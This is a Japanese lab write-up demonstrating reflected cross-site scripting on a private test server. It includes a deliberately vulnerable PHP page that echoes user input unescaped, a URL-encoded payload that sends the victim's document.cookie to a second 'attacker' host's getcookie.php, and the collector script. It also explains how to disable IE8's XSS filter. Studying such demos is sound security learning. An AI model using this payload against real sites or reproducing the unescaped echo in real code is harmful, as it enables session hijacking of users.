xssの検証
Rev.1を表示中。最新版はこちら。
XSS(クロスサイトスクリプト)の動作検証してみる。まずWEBサーバが1つしかない場合でも検証可能とするために、ApacheをIPベースの仮想サーバとして設定。[root@localhost html]# vi /etc/httpd/conf/httpd.conf <VirtualHost 192.168.200.10:80> DocumentRoot "/var/www/html10" </VirtualHost> <VirtualHost 192.168.200.20:80> DocumentRoot "/var/www/html20" </VirtualHost>/var/www/html10はターゲット、/var/www/html20は攻撃者用サイト。
eth1デバイスに仮想アドレスを割り付ける。
[root@localhost html]# ifconfig eth1:0 192.168.200.10 [root@localhost html]# ifconfig eth1:1 192.168.200.20 [root@localhost html]# ifconfig eth1:0 Link encap:Ethernet HWaddr 00:03:FF:7F:8F:98 inet addr:192.168.200.10 Bcast:192.168.200.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 Interrupt:11 Base address:0x6000 eth1:1 Link encap:Ethernet HWaddr 00:03:FF:7F:8F:98 inet addr:192.168.200.20 Bcast:192.168.200.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 Interrupt:11 Base address:0x6000Apacheの再起動
[root@localhost html10]# /etc/init.d/httpd restart
ターゲットとなるWEBサイト
/var/www/html10/index.php <?php if (!isset($_COOKIE['targetcookie'])) { setcookie("targetcookie", "123"); } if (isset($_GET['name'])) { print $_GET['name']; } else { dsp_form(); } function dsp_form() { $html = <<<EOD <html><body> <form action="index.php" method="GET"> <input type="text" name="name" size="50"><br> <input type="submit" value="submit"> </form> </body></html> EOD; print $html; }ためしにnameに<script>alert(document.cookie)</script>を入力してみると、クッキtargetcookie=123と表示される。
ターゲットへ導入する攻撃者のサイト。
/var/www/html20/index.html <html> <body> <a href=http://192.168.200.10/index.php?name=%3Cscript%3Edocument.location="http://192.168 .200.20/getcookie.php?targetcookie="%2Bdocument.cookie;%3C/script%3E>xss</a> </body> </html>ここに192.168.200.10に誘導するURLを記述する。そしてnameボックス内で以下のスクリプトを動作させるようにする。
document.location="http://192.168.200.20/getcookie.php?targetcookie="+document.cookie;
document.cookieは192.168.200.10サイトのクッキである。それをtargetcookieのGET引数で、document.locationで攻撃者のサイトhttp://192.168.200.20/getcookie.phpにリダイレクトさせる。
a hrefタグの中身はhttp://192.168.200.10/index.php?name=<script>document.location="http://192.168
.200.20/getcookie.php?targetcookie="+document.cookie;</script>で、<>+をURLエンコードしたもの。
getcookie.phpは動作検証ということでブラウザに表示させているだけだが、実際はファイルに落とし込めばよい。
/var/www/html20/getcookie.php <html> <body> <?php if (isset($_GET['targetcookie'])) { print $_GET['targetcookie']; } else { print "NO COOKIE"; } ?> </body> </html>
みごとに192.168.200.20サイトにて192.168.200.10のクッキが表示された。
p/s
Explorer8ではXSSのフィルタが掛けられている。動作検証する場合、インターネットオプションのセキュリティのレベルのカスタマイズでXSSフィルを無効にする必要あり。